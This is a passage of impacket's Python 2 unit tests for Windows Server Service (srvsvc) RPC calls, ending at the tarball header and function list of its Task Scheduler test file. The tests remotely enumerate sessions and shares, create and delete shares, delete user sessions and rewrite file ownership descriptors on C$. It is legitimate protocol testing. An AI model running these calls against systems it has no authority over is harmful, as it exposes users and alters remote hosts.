request['ServerName'] = NULL
request['ClientName'] = NULL
request['UserName'] = NULL
request['InfoStruct']['Level'] = 502
request['InfoStruct']['SessionInfo']['tag'] = 502
request['InfoStruct']['SessionInfo']['Level502']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
resp = dce.request(request)
resp.dump()
request = srvs.NetrSessionDel()
request['ServerName'] = NULL
request['ClientName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname']
request['UserName'] = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username']
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x908:
raise
def test_hNetrSessionDel(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
resp.dump()
try:
resp = srvs.hNetrSessionDel(dce, resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_cname'], resp['InfoStruct']['SessionInfo']['Level502']['Buffer'][0]['sesi502_username'] )
resp.dump()
except Exception, e:
if e.get_error_code() != 0x908:
raise
def test_NetrShareAdd_NetrShareDel(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareAdd()
request['ServerName'] = NULL
request['Level'] = 2
request['InfoStruct']['tag'] = 2
request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY
request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDel()
request['ServerName'] = NULL
request['NetName'] = 'BETUSHARE\x00'
resp = dce.request(request)
resp.dump()
def test_hNetrShareAdd_hNetrShareDel(self):
dce, rpctransport = self.connect()
shareInfo = srvs.SHARE_INFO_2()
shareInfo['shi2_netname'] = 'BETUSHARE\x00'
shareInfo['shi2_type'] = srvs.STYPE_TEMPORARY
shareInfo['shi2_remark'] = 'My Remark\x00'
shareInfo['shi2_max_uses'] = 0xFFFFFFFF
shareInfo['shi2_path'] = 'c:\\\x00'
shareInfo['shi2_passwd'] = NULL
resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
resp.dump()
resp = srvs.hNetrShareDel(dce,'BETUSHARE\x00')
resp.dump()
def test_NetrShareEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareEnum()
request['ServerName'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
request['InfoStruct']['ShareInfo']['tag'] = 0
request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL
request['InfoStruct']['Level'] = 0
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 1
request['InfoStruct']['ShareInfo']['Level1']['Buffer'] = NULL
request['InfoStruct']['Level'] = 1
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 2
request['InfoStruct']['ShareInfo']['Level2']['Buffer'] = NULL
request['InfoStruct']['Level'] = 2
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 501
request['InfoStruct']['ShareInfo']['Level501']['Buffer'] = NULL
request['InfoStruct']['Level'] = 501
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 502
request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL
request['InfoStruct']['Level'] = 502
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 503
request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL
request['InfoStruct']['Level'] = 503
resp = dce.request(request)
resp.dump()
def test_hNetrShareEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrShareEnum(dce, 0)
resp.dump()
resp = srvs.hNetrShareEnum(dce, 1)
resp.dump()
resp = srvs.hNetrShareEnum(dce, 2)
resp.dump()
resp = srvs.hNetrShareEnum(dce, 501)
resp.dump()
resp = srvs.hNetrShareEnum(dce, 502)
resp.dump()
resp = srvs.hNetrShareEnum(dce, 503)
resp.dump()
def tes_NetrShareEnumSticky(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareEnumSticky()
request['ServerName'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
request['InfoStruct']['ShareInfo']['tag'] = 502
request['InfoStruct']['ShareInfo']['Level502']['Buffer'] = NULL
request['InfoStruct']['Level'] = 502
resp = dce.request(request)
resp.dump()
request['InfoStruct']['ShareInfo']['tag'] = 503
request['InfoStruct']['ShareInfo']['Level503']['Buffer'] = NULL
request['InfoStruct']['Level'] = 503
resp = dce.request(request)
resp.dump()
def tes_hNetrShareEnumSticky(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrShareEnumSticky(dce, 502)
resp.dump()
resp = srvs.hNetrShareEnumSticky(dce, 503)
resp.dump()
def test_NetrShareGetInfo(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareGetInfo()
request['ServerName'] = NULL
request['NetName'] = 'IPC$\x00'
request['Level'] = 0
resp = dce.request(request)
resp.dump()
request['Level'] = 1
resp = dce.request(request)
resp.dump()
request['Level'] = 2
resp = dce.request(request)
resp.dump()
request['Level'] = 501
resp = dce.request(request)
resp.dump()
request['Level'] = 502
resp = dce.request(request)
resp.dump()
request['Level'] = 503
resp = dce.request(request)
resp.dump()
request['Level'] = 1005
resp = dce.request(request)
resp.dump()
def test_hNetrShareGetInfo(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 0)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 2)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 501)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 502)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 503)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1005)
resp.dump()
def test_NetrShareSetInfo(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareGetInfo()
request['ServerName'] = NULL
request['NetName'] = 'IPC$\x00'
request['Level'] = 1
resp = dce.request(request)
resp.dump()
oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']
req = srvs.NetrShareSetInfo()
req['ServerName'] = NULL
req['NetName'] = 'IPC$\x00'
req['Level'] = 1
req['ShareInfo']['tag'] = 1
req['ShareInfo']['ShareInfo1'] = resp['InfoStruct']['ShareInfo1']
req['ShareInfo']['ShareInfo1']['shi1_remark'] = 'BETUS\x00'
resp = dce.request(req)
resp.dump()
resp = dce.request(request)
resp.dump()
req['ShareInfo']['ShareInfo1']['shi1_remark'] = oldValue
resp = dce.request(req)
resp.dump()
def test_hNetrShareSetInfo(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
resp.dump()
oldValue = resp['InfoStruct']['ShareInfo1']['shi1_remark']
shareInfo = resp['InfoStruct']['ShareInfo1']
shareInfo['shi1_remark'] = 'BETUS\x00'
resp = srvs.hNetrShareSetInfo(dce, 'IPC$\x00', 1, shareInfo)
resp.dump()
resp = srvs.hNetrShareGetInfo(dce, 'IPC$\x00', 1)
resp.dump()
shareInfo['shi1_remark'] = oldValue
resp = srvs.hNetrShareSetInfo(dce, 'IPC$\x00', 1, shareInfo)
resp.dump()
def tes_hNetrShareDelSticky(self):
dce, rpctransport = self.connect()
shareInfo = srvs.SHARE_INFO_2()
shareInfo['shi2_netname'] = 'BETUSHARE\x00'
shareInfo['shi2_type'] = 0
shareInfo['shi2_remark'] = 'My Remark\x00'
shareInfo['shi2_max_uses'] = 0xFFFFFFFF
shareInfo['shi2_path'] = 'c:\\\x00'
shareInfo['shi2_passwd'] = NULL
resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
resp.dump()
resp = srvs.hNetrShareDelSticky(dce, 'BETUSHARE\x00')
resp.dump()
resp = srvs.hNetrShareDel(dce, 'BETUSHARE\x00')
resp.dump()
def tes_NetrShareDelSticky(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareAdd()
request['ServerName'] = NULL
request['Level'] = 2
request['InfoStruct']['tag'] = 2
request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
request['InfoStruct']['ShareInfo2']['shi2_type'] = 0
request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDelSticky()
request['ServerName'] = NULL
request['NetName'] = 'BETUSHARE\x00'
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDel()
request['ServerName'] = NULL
request['NetName'] = 'BETUSHARE\x00'
resp = dce.request(request)
resp.dump()
def test_NetrShareDelStart_NetrShareDelCommit(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareAdd()
request['ServerName'] = NULL
request['Level'] = 2
request['InfoStruct']['tag'] = 2
request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
request['InfoStruct']['ShareInfo2']['shi2_type'] = 0
request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDelStart()
request['ServerName'] = NULL
request['NetName'] = 'BETUSHARE\x00'
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDelCommit()
request['ContextHandle'] = resp['ContextHandle']
resp = dce.request(request)
resp.dump()
def test_hNetrShareDelStart_hNetrShareDelCommit(self):
dce, rpctransport = self.connect()
shareInfo = srvs.SHARE_INFO_2()
shareInfo['shi2_netname'] = 'BETUSHARE\x00'
shareInfo['shi2_type'] = 0
shareInfo['shi2_remark'] = 'My Remark\x00'
shareInfo['shi2_max_uses'] = 0xFFFFFFFF
shareInfo['shi2_path'] = 'c:\\\x00'
shareInfo['shi2_passwd'] = NULL
resp = srvs.hNetrShareAdd(dce, 2, shareInfo)
resp.dump()
resp = srvs.hNetrShareDelStart(dce, 'BETUSHARE\x00')
resp.dump()
resp = srvs.hNetrShareDelCommit(dce, resp['ContextHandle'])
resp.dump()
def test_NetrShareCheck(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareCheck()
request['ServerName'] = NULL
request['Device'] = 'C:\\\x00'
resp = dce.request(request)
resp.dump()
def test_hNetrShareCheck(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrShareCheck(dce, 'C:\\\x00')
resp.dump()
def test_NetrServerGetInfo(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerGetInfo()
request['ServerName'] = NULL
request['Level'] = 100
resp = dce.request(request)
resp.dump()
request['Level'] = 101
resp = dce.request(request)
resp.dump()
request['Level'] = 102
resp = dce.request(request)
resp.dump()
request['Level'] = 103
resp = dce.request(request)
resp.dump()
request['Level'] = 502
resp = dce.request(request)
resp.dump()
request['Level'] = 503
resp = dce.request(request)
resp.dump()
def test_hNetrServerGetInfo(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrServerGetInfo(dce, 100)
resp.dump()
resp = srvs.hNetrServerGetInfo(dce, 101)
resp.dump()
resp = srvs.hNetrServerGetInfo(dce, 102)
resp.dump()
resp = srvs.hNetrServerGetInfo(dce, 103)
resp.dump()
resp = srvs.hNetrServerGetInfo(dce, 502)
resp.dump()
resp = srvs.hNetrServerGetInfo(dce, 503)
resp.dump()
def test_NetrServerDiskEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerDiskEnum()
request['ServerName'] = NULL
request['ResumeHandle'] = NULL
request['Level'] = 0
request['DiskInfoStruct']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
def test_hNetrServerDiskEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrServerDiskEnum(dce, 0)
resp.dump()
def test_NetrServerStatisticsGet(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerStatisticsGet()
request['ServerName'] = NULL
request['Service'] = NULL
request['Level'] = 0
request['Options'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetrServerStatisticsGet(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrServerStatisticsGet(dce, NULL, 0, 0)
resp.dump()
def test_NetrRemoteTOD(self):
dce, rpctransport = self.connect()
request = srvs.NetrRemoteTOD()
request['ServerName'] = NULL
resp = dce.request(request)
resp.dump()
def test_hNetrRemoteTOD(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrRemoteTOD(dce)
resp.dump()
def test_NetrServerTransportEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerTransportEnum()
request['ServerName'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
request['InfoStruct']['Level'] = 0
request['InfoStruct']['XportInfo']['tag'] = 0
request['InfoStruct']['XportInfo']['Level0']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 1
request['InfoStruct']['XportInfo']['tag'] = 1
request['InfoStruct']['XportInfo']['Level1']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
request['InfoStruct']['Level'] = 2
request['InfoStruct']['XportInfo']['tag'] = 2
request['InfoStruct']['XportInfo']['Level2']['Buffer'] = NULL
resp = dce.request(request)
resp.dump()
def test_hNetrServerTransportEnum(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrServerTransportEnum(dce, 0)
resp.dump()
resp = srvs.hNetrServerTransportEnum(dce, 1)
resp.dump()
resp = srvs.hNetrServerTransportEnum(dce, 2)
resp.dump()
def test_NetrpGetFileSecurity_NetrpSetFileSecurity(self):
dce, rpctransport = self.connect()
request = srvs.NetrpGetFileSecurity()
request['ServerName'] = NULL
request['ShareName'] = 'C$\x00'
request['lpFileName'] = '\\Windows\x00'
request['RequestedInformation'] = OWNER_SECURITY_INFORMATION
resp = dce.request(request)
resp.dump()
req = srvs.NetrpSetFileSecurity()
req['ServerName'] = NULL
req['ShareName'] = 'C$\x00'
req['lpFileName'] = '\\Windows\x00'
req['SecurityInformation'] = OWNER_SECURITY_INFORMATION
req['SecurityDescriptor'] = resp['SecurityDescriptor']
resp = dce.request(req)
resp.dump()
def test_hNetrpGetFileSecurity_hNetrpSetFileSecurity(self):
dce, rpctransport = self.connect()
resp = srvs.hNetrpGetFileSecurity(dce, 'C$\x00', '\\Windows\x00', OWNER_SECURITY_INFORMATION)
#hexdump(resp)
resp = srvs.hNetrpSetFileSecurity(dce,'C$\x00', '\\Windows\x00', OWNER_SECURITY_INFORMATION, resp )
resp.dump()
def test_NetprPathType(self):
dce, rpctransport = self.connect()
request = srvs.NetprPathType()
request['ServerName'] = NULL
request['PathName'] = '\\pagefile.sys\x00'
request['Flags'] = 1
resp = dce.request(request)
resp.dump()
def test_hNetprPathType(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprPathType(dce, '\\pagefile.sys\x00', 1)
resp.dump()
def test_NetprPathCanonicalize(self):
dce, rpctransport = self.connect()
request = srvs.NetprPathCanonicalize()
request['ServerName'] = NULL
request['PathName'] = '\\pagefile.sys\x00'
request['OutbufLen'] = 50
request['Prefix'] = 'c:\x00'
request['PathType'] = 0
request['Flags'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetprPathCanonicalize(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprPathCanonicalize(dce, '\\pagefile.sys\x00', 'c:\x00', 50, 0, 0)
resp.dump()
def test_NetprPathCompare(self):
dce, rpctransport = self.connect()
request = srvs.NetprPathCompare()
request['ServerName'] = NULL
request['PathName1'] = 'c:\\pagefile.sys\x00'
request['PathName2'] = 'c:\\pagefile.sys\x00'
request['PathType'] = 0
request['Flags'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetprPathCompare(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprPathCompare(dce, 'c:\\pagefile.sys\x00', 'c:\\pagefile.sys\x00')
resp.dump()
def test_NetprNameValidate(self):
dce, rpctransport = self.connect()
request = srvs.NetprNameValidate()
request['ServerName'] = NULL
request['Name'] = 'Administrator\x00'
request['NameType'] = srvs.NAMETYPE_USER
request['Flags'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetprNameValidate(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprNameValidate(dce, 'Administrator\x00', srvs.NAMETYPE_USER)
resp.dump()
def test_NetprNameCanonicalize(self):
dce, rpctransport = self.connect()
request = srvs.NetprNameCanonicalize()
request['ServerName'] = NULL
request['Name'] = 'Administrator\x00'
request['OutbufLen'] = 50
request['NameType'] = srvs.NAMETYPE_USER
request['Flags'] = 0x80000000
resp = dce.request(request)
resp.dump()
def test_hNetprNameCanonicalize(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprNameCanonicalize(dce, 'Administrator\x00', 50, srvs.NAMETYPE_USER, 0x80000000)
resp.dump()
def test_NetprNameCompare(self):
dce, rpctransport = self.connect()
request = srvs.NetprNameCompare()
request['ServerName'] = NULL
request['Name1'] = 'Administrator\x00'
request['Name2'] = 'Administrator\x00'
request['NameType'] = srvs.NAMETYPE_USER
request['Flags'] = 0x80000000
resp = dce.request(request)
resp.dump()
def test_hNetprNameCompare(self):
dce, rpctransport = self.connect()
resp = srvs.hNetprNameCompare(dce,'Administrator\x00', 'Administrator\x00',srvs.NAMETYPE_USER, 0x80000000)
resp.dump()
def test_NetrDfsGetVersion(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsGetVersion()
request['ServerName'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x2:
raise
def test_hNetrDfsGetVersion(self):
dce, rpctransport = self.connect()
try:
resp = srvs.hNetrDfsGetVersion(dce)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x2:
raise
def test_NetrDfsModifyPrefix(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsModifyPrefix()
request['ServerName'] = NULL
request['Prefix'] = 'c:\\\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if e.get_error_code() != 0x32:
raise
def test_NetrDfsFixLocalVolume(self):
# This one I cannot make it work. It's only supported on w2k and xp
dce, rpctransport = self.connect()
request = srvs.NetrDfsFixLocalVolume()
request['ServerName'] = NULL
request['VolumeName'] = r'\??\C:\DfsShare'
request['EntryType'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
request['ServiceType'] = srvs.DFS_SERVICE_TYPE_LOCAL
request['StgId'] = 'NONE\x00'
request['EntryPrefix'] = 'c:\\\x00'
request['RelationInfo']['Buffer'] = NULL
request['CreateDisposition'] = srvs.FILE_SUPERSEDE
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e) != 'rpc_x_bad_stub_data':
raise
def test_NetrDfsManagerReportSiteInfo(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsManagerReportSiteInfo()
request['ServerName'] = NULL
request['ppSiteInfo'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
def test_NetrServerAliasAdd_NetrServerAliasDel(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerAliasAdd()
request['ServerName'] = NULL
request['Level'] = 0
request['InfoStruct']['tag'] = 0
request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\x00'
request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\x00' % self.machine
request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0
resp = dce.request(request)
resp.dump()
request = srvs.NetrServerAliasDel()
request['ServerName'] = NULL
request['Level'] = 0
request['InfoStruct']['tag'] = 0
request['InfoStruct']['ServerAliasInfo0']['srvai0_alias'] = 'BETOALIAS\x00'
request['InfoStruct']['ServerAliasInfo0']['srvai0_target'] = '%s\x00' % self.machine
request['InfoStruct']['ServerAliasInfo0']['srvai0_default'] = 0
resp = dce.request(request)
resp.dump()
def test_hNetrServerAliasAdd_hNetrServerAliasDel(self):
dce, rpctransport = self.connect()
aliasInfo = srvs.SERVER_ALIAS_INFO_0()
aliasInfo['srvai0_alias'] = 'BETOALIAS\x00'
aliasInfo['srvai0_target'] = '%s\x00' % self.machine
aliasInfo['srvai0_default'] = 0
resp = srvs.hNetrServerAliasAdd(dce, 0, aliasInfo)
resp.dump()
resp = srvs.hNetrServerAliasDel(dce, 0, aliasInfo)
resp.dump()
def test_NetrServerAliasEnum(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerAliasEnum()
request['ServerName'] = NULL
request['InfoStruct']['Level'] = 0
request['InfoStruct']['ServerAliasInfo']['tag'] = 0
request['InfoStruct']['ServerAliasInfo']['Level0']['Buffer'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e) != 'ERROR_NOT_SUPPORTED':
raise
def test_hNetrServerAliasEnum(self):
dce, rpctransport = self.connect()
try:
resp = srvs.hNetrServerAliasEnum(dce, 0)
resp.dump()
except Exception, e:
print e
if str(e) != 'ERROR_NOT_SUPPORTED':
raise
def test_NetrShareDelEx(self):
dce, rpctransport = self.connect()
request = srvs.NetrShareAdd()
request['ServerName'] = NULL
request['Level'] = 2
request['InfoStruct']['tag'] = 2
request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY
request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
resp = dce.request(request)
resp.dump()
request = srvs.NetrShareDelEx()
request['ServerName'] = NULL
request['Level'] = 503
request['ShareInfo']['tag'] = 503
request['ShareInfo']['ShareInfo503']['shi503_netname'] ='BETUSHARE\x00'
request['ShareInfo']['ShareInfo503']['shi503_type'] = srvs.STYPE_TEMPORARY
request['ShareInfo']['ShareInfo503']['shi503_remark'] = 'My Remark\x00'
request['ShareInfo']['ShareInfo503']['shi503_permissions'] = 0
request['ShareInfo']['ShareInfo503']['shi503_max_uses'] = 0xFFFFFFFF
request['ShareInfo']['ShareInfo503']['shi503_current_uses'] = 0
request['ShareInfo']['ShareInfo503']['shi503_path'] = 'c:\\\x00'
request['ShareInfo']['ShareInfo503']['shi503_passwd'] = NULL
request['ShareInfo']['ShareInfo503']['shi503_servername'] = NULL
request['ShareInfo']['ShareInfo503']['shi503_reserved'] = 0
request['ShareInfo']['ShareInfo503']['shi503_security_descriptor'] = NULL
resp = dce.request(request)
resp.dump()
def ttt_NetrServerTransportAdd_NetrServerTransportDel(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerTransportAdd()
request['ServerName'] = NULL
request['Level'] = 0
request['Buffer']['svti0_numberofvcs'] = 0
request['Buffer']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00'
request['Buffer']['svti0_transportaddress'] = list('%s'% self.machine)
request['Buffer']['svti0_transportaddresslength'] = len(request['Buffer']['svti0_transportaddress'])
request['Buffer']['svti0_networkaddress'] = '%s\x00' % self.machine
resp = dce.request(request)
resp.dump()
req = srvs.NetrServerTransportDel()
req['ServerName'] = NULL
req['Level'] = 0
req['Buffer'] = request['Buffer']
resp = dce.request(req)
resp.dump()
def ttt_NetrServerTransportAddEx_NetrServerTransportDelEx(self):
dce, rpctransport = self.connect()
request = srvs.NetrServerTransportAddEx()
request['ServerName'] = NULL
request['Level'] = 0
request['Buffer']['tag'] = 0
request['Buffer']['Transport0']['svti0_numberofvcs'] = 0
request['Buffer']['Transport0']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00'
request['Buffer']['Transport0']['svti0_transportaddress'] = list('%s'% self.machine)
request['Buffer']['Transport0']['svti0_transportaddresslength'] = len(request['Buffer']['Transport0']['svti0_transportaddress'])
request['Buffer']['Transport0']['svti0_networkaddress'] = '%s\x00' % self.machine
resp = dce.request(request)
resp.dump()
req = srvs.NetrServerTransportDelEx()
req['ServerName'] = NULL
req['Level'] = 0
req['Buffer']['tag'] = 0
req['Buffer']['Transport0'] = request['Buffer']['Transport0']
resp = dce.request(req)
resp.dump()
def test_NetrDfsCreateLocalPartition(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsCreateLocalPartition()
request['ServerName'] = NULL
request['ShareName'] = 'C$\x00'
#request['EntryUid'] = 0
request['EntryPrefix'] = 'c:\\\x00'
request['ShortName'] = 'c:\\betus\x00'
request['RelationInfo']['Buffer'] = NULL
request['Force'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
def test_NetrDfsDeleteLocalPartition(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsDeleteLocalPartition()
request['ServerName'] = NULL
request['Prefix'] = 'c:\\\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
def test_NetrDfsSetLocalVolumeState(self):
dce, rpctransport = self.connect()
request = srvs.NetrDfsSetLocalVolumeState()
request['ServerName'] = NULL
request['Prefix'] = 'c:\\\x00'
request['State'] = 0x80
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
def test_NetrDfsCreateExitPoint(self):
# Cannot make it work, supported only on w2k and xp
dce, rpctransport = self.connect()
request = srvs.NetrDfsCreateExitPoint()
request['ServerName'] = NULL
request['Prefix'] = 'c:\\\x00'
request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
request['ShortPrefixLen'] = 50
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_x_bad_stub_data') < 0:
raise
def test_NetrDfsDeleteExitPoint(self):
# Cannot make it work, supported only on w2k and xp
dce, rpctransport = self.connect()
request = srvs.NetrDfsDeleteExitPoint()
request['ServerName'] = NULL
request['Prefix'] = 'c:\\\x00'
request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
class SMBTransport(SRVSTests):
def setUp(self):
SRVSTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(SRVSTests):
def setUp(self):
SRVSTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_tsch.py 0000600 0000765 0000000 00000076572 12734531507 022764 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# NetrJobEnum
# NetrJobAdd
# NetrJobDel
# NetrJobGetInfo
# hNetrJobEnum
# hNetrJobAdd
# hNetrJobDel
# hNetrJobGetInfo
# SASetAccountInformation
# hSASetAccountInformation
# SASetNSAccountInformation
# hSASetNSAccountInformation
# SAGetNSAccountInformation
# hSAGetNSAccountInformation
# SAGetAccountInformation
# hSAGetAccountInformation
# SchRpcHighestVersion
# hSchRpcHighestVersion
# SchRpcRetrieveTask
# hSchRpcRetrieveTask
# SchRpcCreateFolder
# hSchRpcCreateFolder
# SchRpcDelete
# hSchRpcDelete
# SchRpcEnumFolders
# hSchRpcEnumFolders
# SchRpcEnumTasks
# hSchRpcEnumTasks
# SchRpcEnumInstances
# hSchRpcEnumInstances
# SchRpcRun
# hSchRpcRun
# SchRpcGetInstanceInfo
# hSchRpcGetInstanceInfo
# SchRpcStopInstance
# hSchRpcStopInstance
# SchRpcStop
# hSchRpcStop
# SchRpcRename
# hSchRpcRename
# SchRpcScheduledRuntimes
# hSchRpcScheduledRuntimes
# SchRpcGetLastRunInfo
